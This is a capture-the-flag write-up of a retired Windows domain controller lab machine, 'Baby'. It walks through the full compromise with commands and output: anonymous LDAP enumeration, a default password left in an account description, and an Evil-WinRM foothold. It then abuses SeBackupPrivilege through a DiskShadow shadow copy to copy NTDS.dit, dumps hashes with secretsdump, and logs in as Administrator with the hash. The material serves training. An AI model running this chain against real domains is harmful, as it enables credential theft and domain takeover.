Skip to content

Baby

Box details
OS Windows
Difficulty Easy
Status Retired
Release September 2025
Completed September 2025

Enumeration

Scanned the target for open TCP ports with Nmap:

$ nmap -sV -sC -PN -p- -oA baby_nmap 10.129.189.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-27 23:35 CEST
Nmap scan report for 10.129.189.110
Host is up (0.028s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-27 21:38:10Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-09-27T21:39:40+00:00; +20s from scanner time.
| ssl-cert: Subject: commonName=BabyDC.baby.vl
| Not valid before: 2025-08-18T12:14:43
|_Not valid after:  2026-02-17T12:14:43
| rdp-ntlm-info:
|   Target_Name: BABY
|   NetBIOS_Domain_Name: BABY
|   NetBIOS_Computer_Name: BABYDC
|   DNS_Domain_Name: baby.vl
|   DNS_Computer_Name: BabyDC.baby.vl
|   DNS_Tree_Name: baby.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-09-27T21:39:00+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
51410/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
51411/tcp open  msrpc         Microsoft Windows RPC
51420/tcp open  msrpc         Microsoft Windows RPC
53398/tcp open  msrpc         Microsoft Windows RPC
64823/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Repeated the scan for UDP ports and found an open port on 53/UDP:

$ sudo nmap -sV -sC -PN -sU -p 53,69,161,162,10161,10162,623 10.129.189.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-27 23:41 CEST
Nmap scan report for 10.129.189.110
Host is up (0.039s latency).

PORT      STATE         SERVICE       VERSION
53/udp    open          domain        Simple DNS Plus
69/udp    open|filtered tftp
161/udp   open|filtered snmp
162/udp   open|filtered snmptrap
623/udp   open|filtered asf-rmcp
10161/udp open|filtered snmpdtls
10162/udp open|filtered snmpdtls-trap
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Although there is a lot of open ports, all of them are to be expected on a domain controller and none of them really stand out. The domain controller does have an SMB server running, but both anonymous access and the guest account have been disabled:

1
2
3
4
5
6
7
$ nxc smb 10.129.189.110 -u '' -p '' --shares
SMB         10.129.189.110  445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB         10.129.189.110  445    BABYDC           [+] baby.vl\:
SMB         10.129.189.110  445    BABYDC           [-] Error enumerating shares: STATUS_ACCESS_DENIED
$ nxc smb 10.129.189.110 -u guest -p '' --shares
SMB         10.129.189.110  445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB         10.129.189.110  445    BABYDC           [-] baby.vl\guest: STATUS_ACCOUNT_DISABLED

On the other hand, anonymous LDAP is enabled, allowing anyone to get a list of user accounts in the domain:

$ nxc ldap 10.129.189.110 -u '' -p '' --users
SMB         10.129.189.110  445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
LDAP        10.129.189.110  389    BABYDC           [+] baby.vl\:
LDAP        10.129.189.110  389    BABYDC           [*] Total records returned: 39
LDAP        10.129.189.110  389    BABYDC           DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Administrator,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Guest,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=krbtgt,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Domain Computers,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Domain Controllers,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Schema Admins,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Enterprise Admins,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Cert Publishers,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Domain Admins,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Domain Users,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Domain Guests,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Group Policy Creator Owners,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=RAS and IAS Servers,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Allowed RODC Password Replication Group,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Denied RODC Password Replication Group,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Enterprise Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Cloneable Domain Controllers,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Protected Users,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Key Admins,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Enterprise Key Admins,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=DnsAdmins,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=DnsUpdateProxy,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=dev,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Ashley Webb,OU=dev,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Hugh George,OU=dev,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Ian Walker,OU=dev,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=it,CN=Users,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Joseph Hughes,OU=it,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Kerry Wilson,OU=it,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Teresa Bell,OU=it,DC=baby,DC=vl
LDAP        10.129.189.110  389    BABYDC           CN=Caroline Robinson,OU=it,DC=baby,DC=vl

The output above lists the accounts by their distinguished names. A more useful list of user account names can be generated by querying LDAP for each user's sAMAccountName using ldapsearch:

$ ldapsearch -H "ldap://10.129.189.110" -x -b "DC=baby,DC=vl" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "
Guest
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell

Before moving on to more noisy enumeration methods, it's worth checking the description field for each of the accounts. NetExec has a built-in filter for this which is accessed using -M get-desc-users:

1
2
3
4
5
6
$ nxc ldap 10.129.189.110 -u '' -p '' -M get-desc-users
SMB         10.129.189.110  445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
LDAP        10.129.189.110  389    BABYDC           [+] baby.vl\:
GET-DESC... 10.129.189.110  389    BABYDC           [+] Found following users:
GET-DESC... 10.129.189.110  389    BABYDC           User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC... 10.129.189.110  389    BABYDC           User: Teresa.Bell description: Set initial password to BabyStart123!

From the description field, it looks like the default password for new users might be BabyStart123!. If so, Theresa.Bell has changed their password since, as attempts at authenticating with the initial password returned an error:

$ smbclient -U 'Teresa.Bell' --password 'BabyStart123!' -L //baby.vl/
session setup failed: NT_STATUS_LOGON_FAILURE

Foothold

Going back to the two lists of users obtained with nxc and ldapsearch, there is one user (Caroline Robinson) that's missing from the second list. In fact, when querying LDAP for this user, it looks like the account isn't fully set up:

$ ldapsearch -H "ldap://10.129.189.110" -x -b "CN=Caroline Robinson,OU=it,DC=baby,DC=vl"                                                                                                                                                   
# extended LDIF
#
# LDAPv3
# base <CN=Caroline Robinson,OU=it,DC=baby,DC=vl> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# Caroline Robinson, it, baby.vl
dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

For comparison, the following is the same query for Teresa Bell:

 $ ldapsearch -H "ldap://10.129.189.110" -x -b "CN=Teresa Bell,OU=it,DC=baby,DC=vl"                                                                                                                                                         
# extended LDIF
#
# LDAPv3
# base <CN=Teresa Bell,OU=it,DC=baby,DC=vl> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# Teresa Bell, it, baby.vl
dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Teresa Bell
sn: Bell
description: Set initial password to BabyStart123!
givenName: Teresa
distinguishedName: CN=Teresa Bell,OU=it,DC=baby,DC=vl
instanceType: 4
whenCreated: 20211121151108.0Z
whenChanged: 20211121151437.0Z
displayName: Teresa Bell
uSNCreated: 12889
memberOf: CN=it,CN=Users,DC=baby,DC=vl
uSNChanged: 12905
name: Teresa Bell
objectGUID:: EDGXW4JjgEq7+GuyHBu3QQ==
userAccountControl: 66080
badPwdCount: 4
codePage: 0
countryCode: 0
badPasswordTime: 134035446052341002
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132819812778759642
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAf1veU67Ze+7mkhtWWgQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: Teresa.Bell
sAMAccountType: 805306368
userPrincipalName: Teresa.Bell@baby.vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dSCorePropagationData: 20211121163014.0Z
dSCorePropagationData: 20211121162927.0Z
dSCorePropagationData: 16010101000416.0Z
msDS-SupportedEncryptionTypes: 0

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

If the Caroline.Robinson account isn't fully set up, it might still be configured with the initial BabyStart123! password:

$ smbclient -U 'Caroline.Robinson' --password 'BabyStart123!' -L //baby.vl/              
session setup failed: NT_STATUS_PASSWORD_MUST_CHANGE

The credentials are valid, but the domain requires a password change on the first logon. A new password can be set using smbclient like so:

1
2
3
4
5
$ smbpasswd -r 10.129.189.110 -U caroline.robinson
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user caroline.robinson

With the password set, the target can be accessed as Caroline.Robinson using Evil-WinRM:

1
2
3
4
5
6
$ evil-winrm -i 10.129.189.110 -u caroline.robinson
Enter Password:
...
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami
baby\caroline.robinson

Got the user flag.

Privilege Escalation

Caroline.Robinson has the SeBackupPrivilege enabled:

*Evil-WinRM* PS C:\Users\Caroline.Robinson\desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

The privilege allows a user to access any file for backup purposes, even if they don't have access to the folder that contains the file. This includes the NTDS.dit database, which can be used for a domain takeover.

There are several ways of accessing NTDS.dit, one of which is to create a shadow copy of C:\ and copy it using the Copy-FileSeBackupPrivilege cmdlet from the SeBackupPrivilege toolkit.

The toolkit first needs to be uploaded and imported on the target:

1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\Caroline.Robinson> upload /home/admin/sboxshare/htb-boxes/baby/SeBackupPrivilege/SeBackupPrivilegeCmdLets.dll

*Evil-WinRM* PS C:\Users\Caroline.Robinson> upload /home/admin/sboxshare/htb-boxes/baby/SeBackupPrivilege/SeBackupPrivilegeUtils.dll

*Evil-WinRM* PS C:\Users\Caroline.Robinson> import-module .\SeBackupPrivilegeUtils.dll
*Evil-WinRM* PS C:\Users\Caroline.Robinson> import-module .\SeBackupPrivilegeCmdLets.dll

A shadow copy of C:\ can be created with the built-in DiskShadow utility. Being an interactive tool, it doesn't work well with Evil-WinRM:

1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\Users\Caroline.Robinson>diskshadow.exe
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  BABYDC,  9/28/2025 8:10:55 PM


DISKSHADOW> Error reading from console. Win32 error: 0x(null)
The pipe has been ended.

Fortunately, the tool can be run in batch mode with the /s argument. A batch in this case is a simple text file with the required commands to create a shadow copy of C:\:

1
2
3
4
5
$ cat backup.txt
set context persistent nowriters
add volume c: alias pwn
create
expose %pwn% z:

Important

DiskShadow doesn't work with files with UNIX line endings. Although the batch file is accepted and processed without errors, no shadow copy is created.

If the batch file is created on Linux, it needs to be converted to DOS line endings before upload:

$ unix2dos backup.txt
unix2dos: converting file backup.txt to DOS format...

Once uploaded, DiskShadow can be run in batch mode:

*Evil-WinRM* PS C:\Users\Caroline.Robinson> diskshadow.exe /s backup.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  BABYDC,  9/28/2025 8:43:50 PM

-> set context persistent nowriters
-> add volume c: alias pwn
-> create
Alias pwn for shadow ID {33c2e824-2914-4d85-8076-6001a6c7e1b8} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {5b3515bd-50c5-4106-b715-d946b4f4f406} set as environment variable.

Querying all shadow copies with the shadow copy set ID {5b3515bd-50c5-4106-b715-d946b4f4f406}

        * Shadow copy ID = {33c2e824-2914-4d85-8076-6001a6c7e1b8}              %pwn%
                - Shadow copy set: {5b3515bd-50c5-4106-b715-d946b4f4f406}      %VSS_SHADOW_SET%
                - Original count of shadow copies = 1
                - Original volume name: \\?\Volume{711fc68a-0000-0000-0000-100000000000}\ [C:\]
                - Creation time: 9/28/2025 8:43:50 PM
                - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
                - Originating machine: BabyDC.baby.vl
                - Service machine: BabyDC.baby.vl
                - Not exposed
                - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
                - Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %pwn% z:
-> %pwn% = {33c2e824-2914-4d85-8076-6001a6c7e1b8}
The shadow copy was successfully exposed as z:\.
->

NTDS.dit can be copied from the shadow copy with the Copy-FileSeBackupPrivilege:

*Evil-WinRM* PS C:\Users\Caroline.Robinson> Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\Users\Caroline.Robinson\ntds.dit

In addition to NTDS.dit, the SYSTEM registry hive is also needed to extract password hashes:

*Evil-WinRM* PS C:\Users\Caroline.Robinson> reg save HKLM\SYSTEM SYSTEM.SAV
The operation completed successfully.

With the three files in place, the hashes can be extracted offline with Impacket-Secretsdump:

1
2
3
4
5
6
7
8
9
$ impacket-secretsdump -ntds ntds.dit -system system.sav LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:...

Used the nthash from the dump above to access the target as Administrator using Evil-WinRM:

1
2
3
4
$ $ evil-winrm -i 10.129.189.110 -u Administrator -H ee...
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
baby\administrator

Got the root flag.